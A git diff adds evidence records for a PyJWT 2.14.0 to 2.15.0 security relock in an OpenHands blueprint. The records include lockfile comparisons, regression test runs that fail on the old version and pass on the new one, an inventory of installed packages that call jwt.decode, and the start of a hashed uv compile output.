"bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "after_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "requirements_before": 176, + "requirements_after": 176, + "unchanged_declarations_from_bd1": 175, + "changes": [ + { + "name": "pyjwt", + "before": "2.14.0", + "after": "2.15.0" + } + ], + "added": [], + "removed": [], + "only_pyjwt_block_changed": true, + "hashes_match_official_pypi": true, + "retained_versions": { + "urllib3": "2.8.0", + "oauthlib": "3.3.1", + "anyio": "4.14.2", + "click": "8.5.0", + "pypdf": "6.19.0", + "soupsieve": "2.9.2" + }, + "pyjwt_block": "pyjwt==2.15.0 \\\n --hash=sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8 \\\n --hash=sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4" +} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt new file mode 100644 index 000000000..0199c5fb7 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "uv", "venv", "--python", "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", "--no-python-downloads", "/venv"] +cwd: +started_utc: 2026-09-30T17:04:35.810343+00:00 +ended_utc: 2026-09-30T17:04:35.840826+00:00 +exit_code: 0 + +stdout: + +stderr: +Using CPython 3.13.15 interpreter at: /.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13 +Creating virtual environment at: /venv +Activate with: source /venv/bin/activate diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json new file mode 100644 index 000000000..3becef300 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json @@ -0,0 +1,65 @@ +{ + "schema_version": 1, + "evidence_class": "local_integration", + "frozen_utc": "2026-09-30T17:01:25.890820+00:00", + "base_commit": "6ca5863516d0b07748f41be2a2635fbe0211d1c3", + "base_lock_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "sdk_commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "pyjwt_source_commit": "1d41a6478e1562e68ff667fcd703356acf085f68", + "coordinator_cutoff_observation_utc": "2026-09-30T16:57:15Z", + "conservative_cutoff_utc": "2026-09-30T16:57:00Z", + "predicted_digest_for_post_compile_comparison_only": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "compile_policy": { + "exclude_newer": "7 days", + "litellm": "2026-07-20T00:00:00Z", + "lmnr": "2026-08-23T00:00:00Z", + "absolute_cutoff_override": false + }, + "inputs": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", + "sha256": "9be46e2d3628a47ece04c39048423874badadd13e379096f6303bfefebc8f041", + "bytes": 37931 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326 + } + ], + "oracles": { + "requirements": 176, + "changed_from_bd1": [ + { + "name": "pyjwt", + "before": "2.14.0", + "after": "2.15.0" + } + ], + "unchanged_from_bd1": 175, + "additions": [], + "removals": [], + "sdk_tools": "1.50.0", + "urllib3": "2.8.0", + "oauthlib": "3.3.1", + "anyio": "4.14.2", + "original_00aa_two_changes": [ + "urllib3", + "pyjwt" + ], + "original_00aa_unchanged": 174, + "native_control_byte_identical": true, + "new_compiles_byte_identical": true, + "native_install_exit_code": 0, + "pip_check_exit_code": 0, + "sdk_fixture_tests": 12, + "sdk_fixture_skips": 0, + "candidate_osv_current_config_exit_code": 0, + "candidate_osv_empty_config_exit_code": 1, + "candidate_osv_empty_config_ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ] + }, + "scope": "Recipe source qualification only; no runtime image, model, provider, server, host/global state or shared configuration changes." +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt new file mode 100644 index 000000000..90ab9a18b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt @@ -0,0 +1,136 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-b", "-c", "import sys,pathlib,importlib.metadata as m,pytest,jwt\nsite=pathlib.Path(sys.argv[1]).resolve();expected=sys.argv[2];source=pathlib.Path(sys.argv[3])\ntarget=pathlib.Path(jwt.__file__).resolve()\nprint('installed jwt.__file__='+str(target),flush=True)\nprint('installed PyJWT='+m.version('PyJWT')+'; pytest='+m.version('pytest')+'; coverage='+m.version('coverage'),flush=True)\nassert target.is_relative_to(site) and m.version('PyJWT')==jwt.__version__==expected\nnodes=[str(source/'tests/test_api_jwt.py')+'::TestJWT::test_decode_payload_recursion_error_throws_decode_error',str(source/'tests/test_jwks_client.py')+'::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error']\ncode=pytest.main(['--import-mode=append','-c',str(source/'pyproject.toml'),'-v']+nodes)\nassert pathlib.Path(jwt.__file__).resolve()==target\nprint('post-test jwt.__file__='+str(pathlib.Path(jwt.__file__).resolve()),flush=True)\nraise SystemExit(code)\n", "/venv/lib/python3.13/site-packages", "2.14.0", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68"] +cwd: /regression-run +started_utc: 2026-09-30T17:12:04.333315+00:00 +ended_utc: 2026-09-30T17:12:05.306975+00:00 +exit_code: 1 + +stdout: +installed jwt.__file__=/venv/lib/python3.13/site-packages/jwt/__init__.py +installed PyJWT=2.14.0; pytest=8.4.2; coverage=7.10.7 +============================= test session starts ============================== +platform linux -- Python 3.13.15, pytest-8.4.2, pluggy-1.6.0 -- /venv/bin/python +cachedir: .pytest_cache +rootdir: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +configfile: pyproject.toml +plugins: libtmux-0.53.0, anyio-4.14.2 +collecting ... collected 2 items + +../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error FAILED [ 50%] +../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error FAILED [100%] + +=================================== FAILURES =================================== +_______ TestJWT.test_decode_payload_recursion_error_throws_decode_error ________ + +self = + + def test_decode_payload_recursion_error_throws_decode_error(self) -> None: + token = "" + + with mock.patch( + "jwt.api_jwt.json.loads", + side_effect=[{"alg": "none", "typ": "JWT"}, RecursionError()], + ): + with pytest.raises(DecodeError, match="Invalid payload") as exc: +> pyjwt.decode(token, options={"verify_signature": False}) + +../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py:190: +_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ +/venv/lib/python3.13/site-packages/jwt/api_jwt.py:370: in decode + decoded = self.decode_complete( +/venv/lib/python3.13/site-packages/jwt/api_jwt.py:275: in decode_complete + payload = self._decode_payload(decoded) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/venv/lib/python3.13/site-packages/jwt/api_jwt.py:298: in _decode_payload + payload: dict[str, Any] = json.loads(decoded["payload"]) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py:1169: in __call__ + return self._mock_call(*args, **kwargs) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py:1173: in _mock_call + return self._execute_mock_call(*args, **kwargs) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ + +self = , args = (b'{}',) +kwargs = {}, effect = +result = RecursionError() + + def _execute_mock_call(self, /, *args, **kwargs): + # separate from _increment_mock_call so that awaited functions are + # executed separately from their call, also AsyncMock overrides this method + + effect = self.side_effect + if effect is not None: + if _is_exception(effect): + raise effect + elif not _callable(effect): + result = next(effect) + if _is_exception(result): +> raise result +E RecursionError + +/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py:1238: RecursionError +_ TestPyJWKClient.test_get_signing_key_from_jwt_rejects_payload_recursion_error _ + +self = + + def test_get_signing_key_from_jwt_rejects_payload_recursion_error(self) -> None: + token = "" + + with mocked_success_response(RESPONSE_DATA_WITH_MATCHING_KID) as open_mock: + jwks_client = PyJWKClient("https://example.test/.well-known/jwks.json") + with mock.patch( + "jwt.api_jwt.json.loads", + side_effect=[ + {"alg": "RS256", "kid": "test-key"}, + RecursionError(), + ], + ): + with pytest.raises(DecodeError, match="Invalid payload") as exc: +> jwks_client.get_signing_key_from_jwt(token) + +../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py:342: +_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ +/venv/lib/python3.13/site-packages/jwt/jwks_client.py:280: in get_signing_key_from_jwt + unverified = decode_token(token, options={"verify_signature": False}) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/venv/lib/python3.13/site-packages/jwt/api_jwt.py:275: in decode_complete + payload = self._decode_payload(decoded) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/venv/lib/python3.13/site-packages/jwt/api_jwt.py:298: in _decode_payload + payload: dict[str, Any] = json.loads(decoded["payload"]) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py:1169: in __call__ + return self._mock_call(*args, **kwargs) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py:1173: in _mock_call + return self._execute_mock_call(*args, **kwargs) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ + +self = , args = (b'{}',) +kwargs = {}, effect = +result = RecursionError() + + def _execute_mock_call(self, /, *args, **kwargs): + # separate from _increment_mock_call so that awaited functions are + # executed separately from their call, also AsyncMock overrides this method + + effect = self.side_effect + if effect is not None: + if _is_exception(effect): + raise effect + elif not _callable(effect): + result = next(effect) + if _is_exception(result): +> raise result +E RecursionError + +/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py:1238: RecursionError +=========================== short test summary info ============================ +FAILED ../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error +FAILED ../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error +============================== 2 failed in 0.18s =============================== +post-test jwt.__file__=/venv/lib/python3.13/site-packages/jwt/__init__.py + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt new file mode 100644 index 000000000..a515a74c4 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt @@ -0,0 +1,24 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-b", "-c", "import sys,pathlib,importlib.metadata as m,pytest,jwt\nsite=pathlib.Path(sys.argv[1]).resolve();expected=sys.argv[2];source=pathlib.Path(sys.argv[3])\ntarget=pathlib.Path(jwt.__file__).resolve()\nprint('installed jwt.__file__='+str(target),flush=True)\nprint('installed PyJWT='+m.version('PyJWT')+'; pytest='+m.version('pytest')+'; coverage='+m.version('coverage'),flush=True)\nassert target.is_relative_to(site) and m.version('PyJWT')==jwt.__version__==expected\nnodes=[str(source/'tests/test_api_jwt.py')+'::TestJWT::test_decode_payload_recursion_error_throws_decode_error',str(source/'tests/test_jwks_client.py')+'::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error']\ncode=pytest.main(['--import-mode=append','-c',str(source/'pyproject.toml'),'-v']+nodes)\nassert pathlib.Path(jwt.__file__).resolve()==target\nprint('post-test jwt.__file__='+str(pathlib.Path(jwt.__file__).resolve()),flush=True)\nraise SystemExit(code)\n", "/venv/lib/python3.13/site-packages", "2.15.0", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68"] +cwd: /regression-run +started_utc: 2026-09-30T17:12:05.309727+00:00 +ended_utc: 2026-09-30T17:12:06.090393+00:00 +exit_code: 0 + +stdout: +installed jwt.__file__=/venv/lib/python3.13/site-packages/jwt/__init__.py +installed PyJWT=2.15.0; pytest=8.4.2; coverage=7.10.7 +============================= test session starts ============================== +platform linux -- Python 3.13.15, pytest-8.4.2, pluggy-1.6.0 -- /venv/bin/python +cachedir: .pytest_cache +rootdir: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +configfile: pyproject.toml +plugins: libtmux-0.53.0, anyio-4.14.2 +collecting ... collected 2 items + +../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error PASSED [ 50%] +../pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error PASSED [100%] + +============================== 2 passed in 0.03s =============================== +post-test jwt.__file__=/venv/lib/python3.13/site-packages/jwt/__init__.py + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt new file mode 100644 index 000000000..24ca0ef67 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt @@ -0,0 +1,20 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,re,json,importlib.metadata as m\nfrom pathlib import Path\np=Path(sys.argv[1]);expected={}\nfor n,v in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)==([^\\n]+)',(p/'candidate.lock').read_text()):expected[re.sub(r'[-_.]+','-',n).lower()]=v.rstrip(' \\\\')\nexpected['openhands-sdk']=expected['openhands-tools']='1.50.0';mismatches=[{'name':n,'expected':v,'actual':m.version(n)} for n,v in expected.items() if m.version(n)!=v]\nprint(json.dumps({'checked_runtime_declarations':len(expected),'installed_distributions_after_test_tools':len(list(m.distributions())),'mismatches':mismatches,'test_tools':{n:m.version(n) for n in ['pytest','coverage','pluggy','iniconfig']}},indent=2))\nassert len(expected)==176 and not mismatches\n", ""] +cwd: +started_utc: 2026-09-30T17:17:47.846698+00:00 +ended_utc: 2026-09-30T17:17:48.020959+00:00 +exit_code: 0 + +stdout: +{ + "checked_runtime_declarations": 176, + "installed_distributions_after_test_tools": 182, + "mismatches": [], + "test_tools": { + "pytest": "8.4.2", + "coverage": "7.10.7", + "pluggy": "1.6.0", + "iniconfig": "2.3.0" + } +} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt new file mode 100644 index 000000000..71403d68f --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt @@ -0,0 +1,46 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", "/venv/lib/python3.13/site-packages", "/blueprints/runtime-workers/openhands"] +cwd: +started_utc: 2026-09-30T17:14:42.578114+00:00 +ended_utc: 2026-09-30T17:14:52.865046+00:00 +exit_code: 0 + +stdout: +python files searched (all installed packages except PyJWT's own files and installer tooling): 10874 + +# PyJWT importers: the names bound to it, and decode-style calls through those names +google: 1 file(s) import PyJWT + oauth2/id_token.py: jwt bound as ['jwt_lib']: 1 decode-style line(s) ['146: return jwt_lib.decode('] +litellm: 7 file(s) import PyJWT + proxy/proxy_server.py: jwt bound as ['jwt']: 1 decode-style line(s) ['13614: return jwt.decode('] + proxy/auth/handle_jwt.py: jwt bound as ['jwt']; from jwt import ['PyJWK']: 3 decode-style line(s) ['154: claims = jwt.decode(', '942: return jwt.decode(', '957: return jwt.decode('] + proxy/management_endpoints/ui_sso.py: jwt bound as ['jwt']: 3 decode-style line(s) ['755: access_token_payload = jwt.decode(access_token_str, options={"verify_sig', '3701: userinfo = jwt.decode(id_token, options={"verify_signature": False})', '3897: decoded_token = jwt.decode(id_token, options={"verify_signature": False}'] + proxy/management_endpoints/mcp_management_endpoints.py: jwt bound as ['_jwt']: 1 decode-style line(s) ['1516: decoded = _jwt.decode('] + proxy/guardrails/guardrail_hooks/mcp_jwt_signer/mcp_jwt_signer.py: jwt bound as ['jwt']; from jwt import ['PyJWKSet']: 1 decode-style line(s) ['458: payload: Dict[str, Any] = jwt.decode(raw_token, signing_jwk.key, **decod'] + proxy/_experimental/mcp_server/byok_oauth_endpoints.py: jwt bound as ['jwt']: 1 decode-style line(s) ['106: payload = jwt.decode('] + proxy/_experimental/mcp_server/outbound_credentials/envelope.py: jwt bound as ['jwt']: 1 decode-style line(s) ['323: payload = jwt.decode('] +mcp: 1 file(s) import PyJWT + client/auth/extensions/client_credentials.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +oauthlib: 3 file(s) import PyJWT + common.py: jwt bound as ['jwt']: 1 decode-style line(s) ["221: return jwt.decode(token, public_pem, algorithms=['RS256'])"] + oauth1/rfc5849/signature.py: jwt module not bound (from-imports only); submodule aliases ['jwt_algorithms']: 0 decode-style line(s) [] + oauth2/rfc6749/clients/service_application.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +redis: 1 file(s) import PyJWT + auth/token.py: jwt bound as ['jwt']: 1 decode-style line(s) ['89: self._decoded = jwt.decode('] + +# references from outside the importing package to the code that holds a decode +oauthlib (verify_signed_token): no reference outside oauthlib +redis (auth.token, JWToken): no reference outside redis +google-auth (google.oauth2.id_token): no reference outside google/auth and google/oauth2 +litellm (litellm.proxy): no reference outside litellm + +# redis's decode +redis/auth/token.py:83: import jwt +redis/auth/token.py:89: self._decoded = jwt.decode( +redis/auth/token.py:91: options={"verify_signature": False}, + +# the recipe's own code (recursive) +recipe .py files searched: 12 +recipe .py files importing redis: none +recipe .py files importing jwt: none + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt new file mode 100644 index 000000000..7c2c0eb1c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt @@ -0,0 +1,3064 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "/requirements.in", "--constraints", "/control-constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/control.lock"] +cwd: /source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5 +started_utc: 2026-09-30T17:02:27.198359+00:00 +ended_utc: 2026-09-30T17:02:27.421959+00:00 +exit_code: 0 + +stdout: +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + 